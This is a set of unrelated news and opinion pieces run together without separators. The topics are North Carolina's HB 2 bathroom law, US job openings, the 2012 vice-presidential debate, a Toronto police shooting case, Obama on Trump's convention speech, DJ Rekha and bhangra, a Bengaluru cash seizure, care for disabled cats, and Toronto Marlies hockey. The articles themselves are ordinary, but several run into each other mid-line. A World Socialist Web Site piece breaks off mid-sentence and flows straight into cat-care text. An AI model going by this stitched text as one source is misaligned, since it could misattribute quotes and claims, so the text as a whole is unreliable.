AMY GOODMAN: Payton McGarry, did you go to the HB 2 hearing when it was before the North Carolina Legislature?
PAYTON McGARRY: No, ma’am. I did follow it online, though.
AMY GOODMAN: Uh-huh. And what was your response? And what would you have said if you were there? Who testified?
PAYTON McGARRY: I am not sure that I remember any names. I remember a lot of harmful rhetoric. I didn’t get to see everything that was said. But what I did see was very disappointing in terms of just being inclusive of the LGBT community.
AMY GOODMAN: Chase Strangio, can you talk about how the hearing took place? We, when you were last here, talked about the South Dakota Legislature. And ultimately, under enormous pressure, the governor vetoed that bill. But that didn’t happen in North Carolina.
CHASE STRANGIO: Yeah, I mean, I think what’s important about the—what happened at the North Carolina General Assembly is that they completely rushed it through. You had, you know, sessions that lasted a day, for—in which a bill was—went through committee on both sides and to the floor. They allowed only five people on each side to testify. There was really no study of the bill. There was really no ability to even read the bill for lawmakers in advance. So, the hearing was—the hearings were incredibly disturbing, both in terms of the procedure under which they were sped through, and, as well, what was said. And one lawmaker, I think, said something along the lines of, “You know, the $42,000 won’t cover the medical bills that will have to come when some freak comes into the bathroom with my daughter.” So we have lawmakers actually threatening, in no uncertain terms, the safety of transgender people, in veiled threats before legislative hearings. And yet here we are now with a law that actively mandates discrimination against a community that is so targeted already.
AMY GOODMAN: So, what about the movement, Payton McGarry? Do you feel that there is a movement that has coalesced around what has taken place, maybe taking many people—surprising many people, since it happened so quickly?
PAYTON McGARRY: Oh, absolutely. I mean, I think there’s been a movement for LGBT rights for a really long time. And I think that now this is really bringing people together and making people realize that this is a threat to our movement to accept each other and our movement to love each other. And that’s a really scary thing for a lot of people, because there is a large movement right now to love people regardless of the circumstances of their lives. And this is a very big threat to that.
AMY GOODMAN: The issue states’ rights is also very significant here. I mean, this is all coming in response to Charlotte passing a law to protect LGBT people. And the North Carolina Legislature says, “No, Charlotte, you can’t do this.”
CHASE STRANGIO: Yeah, I mean, I think one of the things I heard over and over again in Tennessee, for example, from conservative lawmakers is that this type of legislation, that is incredibly far-reaching in scope and is trying to stop what local school boards and local cities are trying to do for their local government, is counter to many conservative principles, and yet is being pushed forth by Republican lawmakers. And I think there’s reasons to be concerned about the impact of this across the board. But again, there is such an opportunity here to fight back against what we’re seeing in states across the country and tell North Carolina that we will follow through on the threats, we’ll follow through on the threats of litigation, and businesses will pull their business from that state.
AMY GOODMAN: Chase Strangio, as we wrap up, Governor McCrory’s press secretary, spokesperson, Graham Wilson, said, “The governor looks forward to cheering for the UNC Tar Heels in the NCAA Final Four being played in Houston, a city that defeated a similar bathroom ordinance referendum last year with over 61% of the vote.”
CHASE STRANGIO: He did say that. And I think, you know, if he felt compelled to make a statement like that, then he is, of course, entitled to that. I think what it shows is that he doesn’t understand the scope of the law that he is responsible for passing and signing into law. Houston, of course, was a disappointing defeat at the ballot of nondiscrimination ordinance. But Houston did not mandate that anyone else stop passing ordinances, nor did Houston mandate discrimination in bathrooms. They simply repealed an ordinance that had been proposed and went to the ballot. Here we are in North Carolina where sweeping legislation is requiring discrimination across the state, stopping what localities can do to protect their residents. And I think it’s far worse than anything we’ve seen. And the governor should, frankly, be ashamed.
AMY GOODMAN: It’s interesting that HB 2 is also the name of a law that’s now before the Supreme Court that has to do with choice, an anti-abortion law from Texas.
CHASE STRANGIO: Yeah, I mean, I think one of the things that, of course, is alarming about all of this are the same lawmakers that are claiming that the purpose of these laws is to protect cisgender women in a variety of ways, or nontransgender women, are the same lawmakers that are working very hard to take away the ability of nontransgender women and transgender men to access the healthcare that they need. So, it’s really hard to take seriously the claim that this is about anyone’s safety.
AMY GOODMAN: I want to thank you both for being with us, Chase Strangio, a staff attorney at the ACLU, and Payton McGarry, plaintiff in the federal lawsuit filed this week to challenge the new North Carolina law, HB 2, known as the “bathroom bill.” This is Democracy Now! I’m Amy Goodman. To see Part 1 of this conversation, go to democracynow.org. Thanks so much for joining us.Job openings hit record levels last year. The Labor Department released its Job Openings and Labor Turnover survey for December on Tuesday. (Photo: Alan Diaz, AP)
The number of Americans hired and the total quitting jobs both surged to nine-year highs in December, reflecting a more dynamic labor market that’s starting to push up wages.
Job openings also jumped from 5.3 million to 5.6 million, the highest level since July, the Bureau of Labor Statistics said Tuesday in its Job Openings and Labor Turnover Survey..
Through most of the jobs recovery, openings have outpaced hiring and quits.
In December, however, the number of hires climbed from 5.3 million to 5.4 million. That’s the highest since November 2006. The job growth totals reported by the Labor Department each month have been strong, but they reflect net gains after factoring in new hires and layoffs. The strong rise in hires shows that employer demand has strengthened.
Hiring picked up in professional and business services; leisure and hospitality; and trade, transportation and utilities. It slowed in construction; education and health services; and manufacturing.
Meanwhile, the number of people quitting jobs in December jumped from 2.9 million to 3.1 million, highest since December 2006. A larger number of Americans switching jobs indicates a more vibrant labor market in which workers are confident enough to leave one job for another.
The economy added a net 262,000 jobs in December, soundly beating estimates and capping blockbuster average monthly gains of 279,000 in the fourth quarter, according to a revised estimate released by BLS last week. Job growth sputtered in January, with employers adding just 151,000 jobs, though economists said a slowdown was expected after the outsized gains late last year.
Tuesday's report could give Federal Reserve policymakers more evidence that the labor market is heating up and wages are poised to rise more rapidly, a development that should begin to put upward pressure on meager inflation. After lifting its benchmark interest rate in December for the first time in nine years, the Fed is weighing another rate hike in March but overseas weakness and volatile stocks are giving Fed officials pause.
Fed Chair Janet Yellen could shed more light on Fed officials' thinking when she testifies before the House Financial Services Committee on Wednesday.
The labor market is tightening as the unemployment rate, now 4.9%, continues to fall within a range the Fed says is consistent with full employment. That's forcing employers to compete for a shrinking pool of available workers, nudging up pay and benefits.
In December, there were just 1.4 unemployed workers for each job opening, down from a high of 6.7 in 2009. A 2-to-1 ratio is considered a healthy labor market.
Read or Share this story: http://usat.ly/1Xg4zCFMany Democrats were mystified that President Obama didn't talk about his record on women's issues in the first debate. Pollster Stan Greenberg found that unmarried women in particular – a cornerstone of the president's base – felt his debate performance failed to show the difference he would make, and had already made, in their lives. Obama will have two chances to correct that impression himself, but Vice President Joe Biden is perfectly positioned to do it Thursday night, in his debate with Paul Ryan.
Biden's got to tie the right-wing Ryan around Romney's neck like a millstone, and smile while doing it. Actually, he's got to tie Ryan's unpopular positions around Ryan's neck too, since the vice-presidential nominee has been either hiding or running away from them since he was asked to join the ticket. Biden has to surface Ryan's most callous statements about women, rape, Medicare and Social Security, and poor families, and spend a good share of his time on Ryan-shaming. (More on Ryan-shaming below.) He's a natural for it.
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Unlike Ann Romney, Biden doesn't need to say, "I love you, women!" His biker-chick magnetism aside, the V.P. has a strong record on women's issues of his own, going back to his authoring the original Violence Against Women Act, which House Republicans, including Ryan, voted down this year. He must talk up Obamacare, which he rightly called "a big fucking deal," for what may be its biggest deal of all: making sure that being a woman is no longer a preexisting condition. He's got to make plain that Ryan opposed the Obama administration's first big move: making the Lilly Ledbetter Fair Pay for Women Act the law of the land.
The Catholic Biden has the moral credibility and gravitas to point out the cruelty of Ryan's stance on federal programs for women and children, as well as reproductive health. It's well known that Biden opposed the administration's first cut at its health-insurance contraception mandate, because he thought it didn't create a broad enough exemption for religious institutions that opposed it. With the compromise that made the issue a matter for insurers, not employers, the White House won back major Catholic organizations like the Catholic Health Association and organizations representing Catholic hospitals and Jesuit universities. Ryan, by contrast, supported the Blunt-Rubio amendment, which would allow any employer to deny coverage of any medical service they want. Biden should talk about how the most effective anti-abortion program in the world is contraception. He's got to make clear that Ryan supports personhood legislation that would declare that life begins at fertilization, give fetuses the same rights as women, ban abortion in cases of rape and incest and criminalize some forms of contraception.
And while acknowledging the moral complexity of the abortion issue, the pro-choice Biden is perfectly positioned to zero in on the cruelty of Ryan's opposition to abortion even in cases of rape and incest. He can fairly tie Ryan to crazy Todd Akin, and show how Ryan and Akin co-sponsored bills that would have redefined rape as "forcible rape." (Though that language was ultimately removed, it was in the bills when Ryan co-sponsored them.) He might want to ask Ryan whether they'd have established rape panels to decide what was a "legitimate rape." Biden should note that in an interview with a Virginia television station on the eve of the Tampa convention, Ryan defended his longtime position that abortion should be illegal even in cases of rape – a position that's been in the GOP platform since 1992 -- coldly saying that "the method of conception doesn't change the definition of life."
And when a Milwaukee reporter asked him directly if rape is truly "a form of conception in your mind?" Ryan answered, "Well, of course it is. Tech – I mean look at the technologically – technically speaking it is. The point is if you believe life begins at conception, that’s where life begins." The callousness required to call rape just another "method of conception" demands a full dose of Biden grief and outrage.
The full force of Biden's moral vision may be clearest when he zeroes in on Ryan's stands on issues of poverty. Only this week, the wealthy Wisconsinite proclaimed that "inner-city" Americans need to be taught "good discipline, good character." I'm sure Biden has plenty of stories from Wilmington that will show that people there have at least as much discipline and character as Ryan. I also look forward to Biden making clear that Ryan derives his moral ideas more from the pages of Ayn Rand than from Catholic social teachings. His budget would slash funding for programs that mainly serve poor women and children, from Medicaid to child nutrition programs to Temporary Assistance for Needy Families. Even the Catholic bishops, who side with Republicans on contraception and choice, were moved to chide Ryan for the way his budget hurt the poor. Before he spoke at Georgetown earlier this year, 90 Catholic theologians and Georgetown staffers wrote that Ryan's budget "appears to reflect the values of your favorite philosopher, Ayn Rand, rather than the Gospel of Jesus Christ."
Finally, Biden must make clear that Ryan is an enemy of both Social Security and Medicare as we know them. Those are women's issues, too, since 68 percent of the Americans over 65 receiving both programs are women. Biden should be able to do something with the fact that Ryan saved up the Social Security survivor benefits he got after his father died to go to an out-of-state university, but then became the leading House proponent of privatizing Social Security. A program that has the government putting retirement savings into the stock market should be called Social Insecurity, just like Ryan's plan to voucherize Medicare should be labeled Vouchercare. And I dare Paul Ryan to bring up the fact that his mother supports his Medicare plan; we will hear stories about Joe Biden's beloved mother, Jean, who died at 92 in 2010, that will make everyone cry. Including Ryan.
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I know, I know, my strategy risks sending Joe Biden into some dangerous territory, literally (no, not literally, I just couldn't resist), because you can imagine any number of awkward locutions and Bidenisms on issues of women and their bodies. But it's worth the risk. The V.P. gets to be tougher on the opponent than the president does – although Obama knows he needs to be tougher too, telling radio host Tom Joyner he was "too polite" in his debate with Romney last week. He has the perfect foil in Ryan, a callow kid of privilege who opposes everything Biden stands for. Thursday night should be one for the ages.
Oh, about Ryan-shaming: Inspired by the site dogshaming.com, as well as Ryan's sheepish looks when he's confronted by reporters with the contradictions of his positions, we thought it might be fun to create a Ryan-shaming feature. Check it out. But it only works if you contribute your own Ryan-shaming photos and quotes (and please make sure quotes come with documentation). Send them to ryanshaming@salon.com and we'll post the best.Const. James Forcillo is pleading for a chance.
A chance to tell his side of the story. A chance to prove that he is not guilty of murdering 18-year-old Sammy Yatim when his trial actually begins, likely no earlier than a year from now. A chance to be considered innocent before proven guilty.
But too many of us have already made up our minds, rushing to convict the officer based on some YouTube videos and emotional marches in the street.
“This is a very difficult and frustrating time for me and my family,” the father of two said in an exclusive statement provided to the Toronto Sun. “I am unable to comment on the case and tell my side of the events until I have my trial. It is disappointing that some people would like to see me found guilty before hearing my side of this case and considering all the evidence.
“I can only have faith that this case will be judged by 12 people who are interested in hearing and seeing all of the evidence which will explain why I took the steps that I did the night of the shooting.”
That tragic night began just before midnight July 27, 2013 when, according to witnesses who later spoke to the media last summer, a young man at the back of the Dundas streetcar stood up with a four-inch knife in one hand and his penis in the other. Three girls screamed and fled out the front of the vehicle, followed by a stream of other terrified passengers.
Forcillo and his fellow officers arrived on the scene to find the streetcar stopped near Trinity-Bellwoods park, with only Yatim still aboard.
Cellphone video uploaded soon after the shooting shows police repeatedly demanding that Yatim drop his knife. He taunted them in return, calling them “a f—ing pussy” as he paced by the door of the streetcar. Suddenly, Forcillo opened fire — three shots followed by a pause and then six more could be heard several seconds later.
Yatim was pronounced dead at St. Michael’s Hospital. After a three-week investigation by the SIU, Forcillo was under arrest for murder.
Following a preliminary hearing that ended June 16, the seven-year police veteran was committed to stand trial. The impression left by many — myself included — was that a judge had decided there was sufficient evidence to proceed with the serious indictment, making Forcillo only the third Ontario police officer ever charged with murder while on the job.
But as it turns out, his lawyer Peter Brauti says there was never a chance that Forcillo might be discharged at the prelim — as his client ETF Const. David Cavanagh was in 2013. There was always agreement that Forcillo intentionally fired his weapon — the question is whether he was justified.
“I conceded committal (on second-degree murder) at the beginning of the case,” Brauti explains in his downtown office. “Legally, when dealing with a claim of self defence and defence of others — here it’s the public — those are trial issues that only a trial can decide. Going to trial was a foregone conclusion.”
While the evidence presented at the preliminary inquiry remains sealed under a publication ban, Brauti was anxious to dispel some rumours that have swirled around his client. “Of any case I’ve ever done, I’ve never seen a guy treated more unfairly in the media and the court of public opinion. That’s straight from the heart.”
First off, Brauti insists Forcillo is not a steroid-using Rambo as suggested in some early stories. “Show me one shred of evidence of that,” he demands.
The oft-used photo of a bearded Forcillo in sunglasses looking “as if he’s some kind of thug” was actually taken to promote his participation in Movember, the annual charity fundraiser for prostate cancer. Forcillo was involved in a gym 15 years ago, but his postings on his website were actually anti-steroid use, he says. “Anything that can get flipped, gets flipped on this guy.”
And rather than gun happy, sources quoted in reports following the shooting said Forcillo was actually the officer who called for a Taser to deal with the tense situation. But the sergeant authorized to use the stun gun — front line constables are not — didn’t arrive until after shots were fired.
The question, of course, is why did Forcillo pull the trigger — not once but nine times?
Frustrating for all involved, that evidence is covered by the pub ban. Posted footage from cellphones and nearby businesses don’t cover all the angles, although some appear to show Yatim taking a step forward.
In enhanced audio posted on YouTube, an officer can be heard saying, “You take one step in this direction with that foot … (inaudible) die.” Did Yatim make a sudden movement or threat?
“The public has only seen some of the videos that are available and there will be other videos seen at trial that will tell a different story,” his lawyer predicts.
In the meantime, Forcillo is presumed guilty.
Both he and his wife have received death threats and public outrage against him was rekindled in April by the Sun’s exclusive story that Forcillo was back on the job.
He was initially suspended with pay by Police Chief Bill Blair even before the murder charges were laid against him. But the chief quietly allowed him to return to work in February in an administrative role for CrimeStoppers. “I can only assume as more disclosure was released, they realized it was not quite the case it was billed as and they brought him back on modified duties,” Brauti says.
“He desperately wanted to be back at work. He did not want to be sitting at home getting a paycheque and not working.”
Instead, Forcillo is under fire again. His lawyer wonders whether there is any chance he can get a fair trial here.
“I’ve got to climb a mountain just to get a level playing field,” Brauti complains. “It’s not right and it could cause a great injustice. We’re not talking a mischief charge. We’re talking murder. He’s charged with an offence that carries a life sentence because you made a decision at your workplace.”
There’s no doubt he has his work cut out for him. A teen with a small knife is killed in a hail of police bullets on an empty streetcar. At trial he will have to convince the court of public opinion that there was no other way.
Forcillo is asking us to wait until then.
michele.mandel@sunmedia.caWashington (CNN) The deeply pessimistic outlook that Donald Trump offered at this week's Republican National Convention doesn't match reality, President Barack Obama insisted on Friday.
Noting he didn't watch Trump's prime-time acceptance speech on Thursday -- "I've got a lot of stuff to do" -- Obama said he read news coverage of the remarks. And he said they didn't match most Americans' experiences.
"This idea that America is somehow on the verge of collapse, this vision of violence and chaos everywhere, doesn't really jibe with the experience of most people," Obama said during a press conference in the White House East Room alongside Mexican President Enrique Pena Nieto.
"I think it is important to be absolutely clear here. Some of the fears that were expressed throughout the week just don't jibe with the facts," he said, going on to cite statistics showing crime rates have fallen under his presidency.
"America is much less violent than it was 20 or 30 years ago," Obama said.
Read MoreMalhotra, better known as DJ Rekha, was one of the first to introduce bhangra into American clubs in the late '90s. The London-born, Brooklyn-based artist made a name for herself remixing the popular Punjabi music with electronica, hip-hop, and dancehall. She continues that work today while also running her own production company, record label, as well as other parties. She’s taught at NYU, spun for the president at the White House, and now, on July 11, she goes where few bhangra club DJs have gone before: Minnesota.
Rekha comes as a part of a dance party fundraiser for Ragamala Dance Company, which is co-presenting the show with the Cedar. In advance of the show, City Pages sat down with DJ Rekha via Skype to talk about everything from the history of bhangra to South Asian cultural production in the U.S. to appropriation and more.
City Pages: Outline for us briefly what exactly bhangra is.
Rekha Malhotra: Bhangra is a dance and a music that originally comes from Punjab, a region that’s been divided by the current nations of India and Pakistan. It’s actually technically a very specific rhythm, but it’s become ubiquitous to sort of mean Punjabi dance music.
I would say it got its rise in England. Post-World War II, there was a lot of immigration to England, and a lot of those communities, the second and third generation folks from those communities — Indian and Pakistani — that migrated there to fulfill labor shortage, they brought over their cultures and traditions. And the bhangra music I got acquainted with and a lot of what I play is produced in the U.K. It’s changing now, but that whole moment was sort of in the late '80s, where initially there were live bhangra bands that used to play at weddings and culturally specific occasions. And then within the community, you saw the rise of DJs and producers taking that sound and blending that in with other styles; namely dancehall, because a lot of that came from the Midlands in England, which also has a very significant Jamaican and Caribbean history.
CP: Had your parents also come in that post-WWII wave?
Malhotra: They came a little later. They moved over in 1970, lived there for six years, and then we moved here. My introduction to bhangra was basically my mom going back to England to visit a family friend and bringing back a cassette that was produced in the U.K.
CP: What cassette was it?
Malhotra: It was Malkit Singh’s Up Front.
CP: So then fast-forward to 1997...
Malhotra: Nineteen ninety-seven was when I started my monthly party in New York called Basement Bhangra. So I took it one step further in that I used that music produced in England and played it like a New York DJ would. I actively would do hip-hop sets, dancehall sets, bhangra sets, all seamlessly, because I find the music to be quite related to each other.
CP: Was it hard trying to put that music out during that time?
Malhotra: I didn’t actually release a record [Basement Bhangra] until ’07, so a little slow. In terms of the success of the party in New York, it did take off kind of quickly. I think there’s a hunger for a different kind of sound. And in New York City, if you can throw a good party, you’re rewarded.
CP: Do you think part of Basement Bhangra’s success was that it came out around when a lot of other “global bass” music started taking off in the mid-2000s?
Malhotra: I think part of the success of the album — I think there was a moment of global bass for sure. Like, I would credit in the larger scope of global bass, artists like MIA taking different international styles and bringing them to the fore. I also think that in New York and in general, there’s a wave once again of awareness about South Asian culture at large.
Like in 2002, Bombay Dreams opened up in New York, and it created a lot of interest around South Asian cultural production in New York City, which resonated through the industry. There were various forays by Hollywood and Bollywood directors into South Asian culture, whether it was Moulin Rouge putting a Bollywood song in the soundtrack, to, eventually, Slumdog Millionaire. There are always things that resonate, or cultural touchstones that get people interested to investigate more culturally about what’s happening.
CP: So how do you go about presenting your music now, especially in the context of cultural appropriation and yoga appropriation...
Malhotra: Oh, for the record, I hate yoga. [Laughs.] Yoga sucks.
Cultural appropriation is what this country is based on. Let’s just face it. We see cultures appropriated every second of the day. Gwen Stefani was wearing bindis in ’97. And we can eye-roll, but we’re part of a larger cultural network, force, and economy. Those of us who are from other countries were here, some of us due to our privilege, some of us due to necessity. So we’re constantly in a dialogue with cultural exchange. A lot of South Asians, Asians, and white people are really privileged in how they access and participate in hip-hop without any context or meaning. Appropriation is a two-way street. So yeah, cultural appropriation sucks. Don’t do it. Don’t wear your headdress at Coachella.
CP: When you’re presenting bhangra, do you see cultural appropriation coming from the other direction too though, in terms of other people possibly exoticizing it?
Malhotra: Of course. There’s always going to be those people that think anything that’s not extremely white — the minute you add a tint on something, it becomes exotic. Do people come to the parties and sometimes put their hands together and wave and do the snake dance in front of me? Sure, they do. That’s kind of part and parcel of what you have to deal with as a person presenting art. You can’t control directly how people consume what you put out there. You can control how you put it out there.
So I’m responsible in not taking convenient ways to play that up. For instance, bhangra is a dance, and there are bhangra dance competitions all over the United States, and people dress up in what they call “traditional gear.” I make sure that in the club, I don’t participate in that. I don’t believe that’s the space in the club to do it. I’m very careful and responsible about how I use language, how I use visual images in promotion. I’m accountable for myself and to my people. It’s very easy to play that up to appeal to an audience, but you have to be true to yourself.
CP: You’re coming to the Twin Cities for the first time this weekend, and it’s with Ragamala Dance Company. How did that happen?
Malhotra: [Laughs] Well, we met in one of the whitest places in America. We met at Martha’s Vineyard. We were at an artist residency at this place called the Yard. I did a gig out there, they came to it, really liked it, and were really trying to find a way to make it work with what they do. The work that [Ragamala] do is completely different from the work I do. It was their idea to bring me out for a fundraiser and to try something new. Their discipline is very particular. It’s rooted in Bharatanatyam. They work with live musicians; I’m a DJ playing dance music. So, they made it happen, to be honest.
CP: What can we expect?
Malhotra: Dance party! Wear comfortable shoes.
CP: Charanjit Singh [acid house pioneer] passed away recently. Will there be a nod to his acid house influences?
Malhotra: Hmm. I don’t know. I don’t usually play him in my sets. But maybe. I don’t ever plan my sets. It’s just about the moment, the room, the vibe. I’m very excited that my friend Chamindika (DJ Chamun) is going to DJ. She’s gonna set up the vibe. I’m gonna roll with it.BENGALURU: The Directorate General of Income Tax (Karnataka and Goa) seized Rs 2.89 crore in unaccounted cash from a flat here on Wednesday, out of which Rs 2.25cr were in new notes. Tax sleuths were taken aback when an old woman living in the flat let loose her dogs on the raiding team.An official statement said all the new notes seized were in Rs 2,000 notes. A man was detained with officials refusing to disclose any further details."Following a tip-off on December 12 about a large cache of cash stacked in an apartment where an old woman lived with her two dogs, the investigation wing tried to raid the flat on December 13," said an official."But the old woman refused to cooperate. When the officials finally entered the flat with the help of police and neighbours, they found one of the rooms locked."It was found that a man frequented the flat in the early hours every day. He was summoned and the locked room was opened. Cash worth Rs 2.89 crore was recovered from the room," the official added.The man first said that the money belonged to a club in the vicinity. A subsequent raid on the club proved the claim to be false. "Finally, he admitted that the money belonged to him. The entire cash has been seized and a probe in the case is on," the I-T official added.In another case, I-T officials seized Rs 67.98 lakh in new Rs 2,000 notes from Banda in Maharashtra, bordering Goa. The department has not disclosed the identities of those arrested. A team of I-T sleuths, posing as people waiting to exchange the cash in Kera village, intercepted a man on a scooter. "The man was in possession of Rs 67.98 lakh in new Rs 2,000 notes.Officials also arrested a man on whose directions the money was being illegally exchanged.New York Times covers up fascist atrocity in Odessa
By Barry Grey
5 May 2014
The criminal character of the US-European Union intervention in Ukraine was tragically exposed |
an audible object e.g. a jingle ball or a noisy scrunchy paper ball. Playing inside a noisy scrunchy bag (either a paper grocery bag or a specially made cat "rattle-sack") is also exercise. Play is best in an open area (centre of a room) so it doesn't bump into furniture when excited. Blind cats that are familiar with the room's layout will jump and climb, but not usually at full speed so more patience is needed if the game encourages the cat to jump onto or off of a chair or box. It will also respond to a scented object, so if it reacts to catnip it may enjoy a catnip mouse. A blind cat's remaining senses should be stimulated including smell and hearing.
A deaf cat will respond to visual cues e.g. toys to be chased and this usually present little problem for the owner as it will jump and climb as well as a hearing cat. A cat that is both deaf and blind relies on its sense of smell and on texture. A textured toy, perhaps impregnated with catnip, inside a rattle-sack is a good option though not all cats respond to catnip. A play area with several textures (sisal, carpet, felt etc) encourages climbing (once the cat knows the layout of an area, it rarely falls so a 2-level "cat gym" is generally safe if the cat is well co-ordinated). Games that encourage exploration and use the sense of smell are useful e.g. hunting for hidden low-calorie food treats.
A cat with a physical disability has other needs. Generally, an amputee is as active as a 4-legged cat since the other limbs become stronger. Such cats can run, jump and climb as normal, so normal types of play/exercise are feasible. Over-protective owners is the main problem where amputees are concerned. Cats with radial hypoplasia (reduced front legs) are also usually active. Although they may be able to climb and scramble upwards, they have a problem when jumping down as their under-sized forelegs cannot act as proper shock absorbers and they could land heavily. Interactive games should avoid situations where the cat has to jump down off of furniture etc.
A cat with inco-ordination (e.g. cerebellar hypoplasia) may need play sessions at ground level. Wand toys, table tennis balls and the usual ground-level toys are suitable as the cat can lie on its back and bat at them, but play is best in an open area (centre of a room) so it does not bump into furniture at high speed when its co-ordination fails. A cat with poor co-ordination does not realise it is any different to other cats - however clumsy it looks, it will still want to chase wand toys and table tennis balls. The only difference is that the owner may need to pace the game so that the cat manages to catch the toy.
A cat with reduced mobility (including elderly cats) may be better playing "goalkeeper" or "catcher" with the owner playing the more active part of rolling a toy in the cat's direction for the cat to catch. Many enjoy lying on their backs batting at toys dangled above them. The owner needs to watch out for signs that the cat is tiring e.g. puffiness or panting. Cats with severe mobility problems pose a special problem. Exercise may not be feasible and diet may be the only way to control weight. If the cat has long term severe mobility problems (e.g. part paralysis) then its quality of life needs to be assessed. If the problem is short term (e.g. broken pelvis necessitating cage rest), its level of activity should be increased once the vet gives it the all clear. Such cats normally shed excess weight once they become fully active again.
HOW TO WEIGH A CAT
Method 1:
Weigh the cat's empty carrying basket. Put the cat in the basket and weigh the full basket. Deduct the weight of the empty basket from the weight of the full basket. This gives you the weight of the cat.
Method 2 (this one also helps you keep an eye on your own weight):
Weigh yourself. Pick up the cat and weigh yourself holding the cat. Deduct your weight from the weight of both of you. This gives you the weight of the cat. Since your weight varies from day-to-day, always weigh yourself first and don't just assume you weigh the same as you did 2 weeks earlier.
CATS AND SUGAR
Previously, studies frequently used unsweetened water and sweetened water to see if cats showed any preference. The cats did not appear to distinguish between sweetened and unsweetened water which raised two hypotheses: either cats could not taste sweetness at all, or the receptors for water overrode any receptors for sweetness.
In those studies cats, did not respond to sugars at any behaviourally-meaningful concentration (Boudreau, 1989). Cats did not distinguish between plain water and water sweetened with sucrose (Carpenter, 1956; Bartoshuk et al. 1971; Beauchamp et al. 1977), but they preferred milk if sucrose or lactose was added to it (Frings, 1951; Beauchamp et al. 1977). Beauchamp et al. (1977) suggested that the cats might have been reacting to the texture of sweetened milk rather than to the taste. Earlier studies by by Bartoshuk et al. (1971) found that cats preferred sweetend saline solution over unsweetend saline solution. The conclusion drawn from these various studies was that cats had a limited ability to taste sugars directly. Cats were thought to have a "water" taste that responded to pure water (Bartoshuk et al. 1971) which meant that early studies of whether cats could taste sugars dissolved in water could be confounded by their reaction to the water itself.
It is only following the sequencing of the feline genome, that there has been more detailed study into whether or not cats are able to detecting sweetness at all. The receptor for sweet tastes is formed by 2 genes called Tas1r2 and Tas1r3. While a cat's Tas1r3 gene appears normal, the Tas1r2 gene is different to that in most other mammals. This true of wild cat species (big cats and small cats) as well as domestic cats. The mutation means that cats lack a receptor that is believed necessary for detecting sweetness (Li et al, 2005). This mutation was probably an important one in the evolution of obligate carnivores.For the Marlies, it's tough at the top, where the challenge for the rest of the regular season is to stay there.
I feel like I've said that before.
A tale of two teams
The Marlies are the top team in the AHL. I could enumerate the ways they are the best: the goals for, the goal differential, this percentage, that measure, this stat, that calculation, but they all come out the same. The Marlies are an elite team that's had a lot of luck and have won the overwhelming majority of their games so far.
So far.
They have two and a half more months to play.
Frölunda, Andreas Johnson's team, is also atop their league and has an amazing goal differential; they shoot the puck like crazy and have four real lines that can all play at a high level. They are elite, lucky, and they've won the overwhelming majority of their games. And among that elite team, Johnson, at 21, and Artturi Lehkonen at 20 are the young stars that are working every day to get to the NHL.
The rest of the team may have once dreamed of it, some of them have tried and found their home in Sweden instead, and for them the league they play in is their league; the games are a point unto themselves; the championship is the reward at the end of the season, and leaving is not the mark of success.
Frölunda are showing the signs of a sluggish desire to just get on with it, get to the playoffs, get this year over, win the cup and turn the calendar to next year so they can do it again. They've dropped a couple of stinkers lately—big losses, a couple of shutouts where they just skated around bored for 60 minutes. They've won a couple like that too.
For Johnson, this is his last year there. He is proving himself, and wants to win, but he has his eyes on a higher goal.
They have a month and a half to go before the playoffs.
The Marlies have a lot more than two guys who are yearning to escape. They have nearly a roster full. They are more than just William Nylander and Kasperi Kapanen, two guys who hope they will see the NHL this year and every year after.
There is Mark Arcobello, patiently scoring more and more and winning awards.
There is Nikita Soshnikov working on the bottom six and trying to prove what he can do, taking every chance to get on a better line and making the most of it.
There's Connor Brown, doing a very good job of reminding everyone who he is with points in every game since he's been back.
There is T.J. Brennan, ripping up the record books and rewriting them anew on this his fourth AHL team. On none of those has he been as dominate over three seasons as he has on the Marlies. He's tasted the coffee in the NHL, but he's never stuck, and it's easy to just decide that's it, he hasn't got it, but if the 26-year-old defenceman leading the league in scoring isn't up to it, are you sure all those kids are a lock?
There's also Zach Hyman, who didn't stick with the team that drafted him, nor did Brendan Leipsic or Scott Harrington. There's a handful of Toronto draft picks in Josh Leivo, Viktor Loov, and Rinat Valiev. And all of them want out. They don't want to ever again ride five hours home from Grand Rapids, Michigan.
And they're collectively playing pretty bad hockey lately.
The Marlies roared along for the last few games, winning while being outshot and putting on a terrible power play and giving up a league-leading number of shorthanded goals. They have been winning by betting big, risking big, and outscoring their opponents with contemptuous ease.
Lately, the defence has been falling to ruins, the goalies have been working like single mothers with two jobs, and still they win.
Or they did.
An afternoon at the Ricoh Coliseum
Saturday afternoon in Toronto, on the afternoon after that ride home from Grand Rapids, they didn't outscore their problems. Not quite.
They played the division basement-dweller Binghamton Senators, and they were each as bad as the other. They took 8 penalties each, scored five regulation goals each. They each had a short-handed goal, and the Senators won it on a goal on a breakaway in overtime after one of the Marlies blew a skate on the play in his own end and fell down. A fitting end to a game that cast no glory on anyone.
The Marlies outshot the Senators—they aren't so far gone, they couldn't do that—37-29, giving Garret Sparks a save percentage of.793.
They gave up so many odd man rushes, turnovers, easy giveaways, and I guess it was buy one get one free day at Ricoh?
This isn't a one off aberration. They've been drifting in this direction for weeks, and some of that is injuries pulling the better guys out of the lineup, and some of it is just the difficulty you have when the team is so good they score more goals than even the good teams most of the time.
Bob McGill the Marlies colour commentator was wondering how you tell these guys to tighten it up, when they usually win even when they play so loose? A good question. Ask Alain Vigneault. Maybe he knows. Not that the Marlies are the hollow-cored New York Rangers. They usually do outshoot their opposition not just out-goal them.
Getting the Marlies back on track may be a harder task than Frölunda has with their team of slightly bored overachievers, however.
It's not a terrible problem to have, being so good you're struggling to execute your system well night after night, but it is a problem. And it's a hell of a skill to bring to a team that's never had this dilemma before if you learn the trick of it.
A cautionary tale
This is what Nate MacKinnon said about Jonathan Drouin recently:
"Our junior team, we lost five games all year, we had the puck the whole game," MacKinnon said. "We were playing offense for two years, we didn't really play any 'D.' So that's tough. I don't know you can really expect lockdown 'D' when you first come into the league. You can always work on your 'D' but you can't just become an offensive force."
And he's not wrong. But where do you start to learn that more complete game? Something you can use when you don't have a team of above average players every night. Something you can use to get yourself into a position to succeed when your coach hasn't got the means to put you there. Something that will carry you when your cap-strapped team downgrades your linemates or your rebuilding team hasn't got the horses to win much.
It's not junior hockey, he's right about that too.
For MacKinnon it was the NHL. He very much did it the hard way. But the New Toronto Maple Leafs don't do things that way, they tell us. Not unless they have to, like they will with Mitch Marner.
So it had better be the AHL, the league most guys are trying to leave. And it better be now before they start leaving one way and another.
Nice problems to have
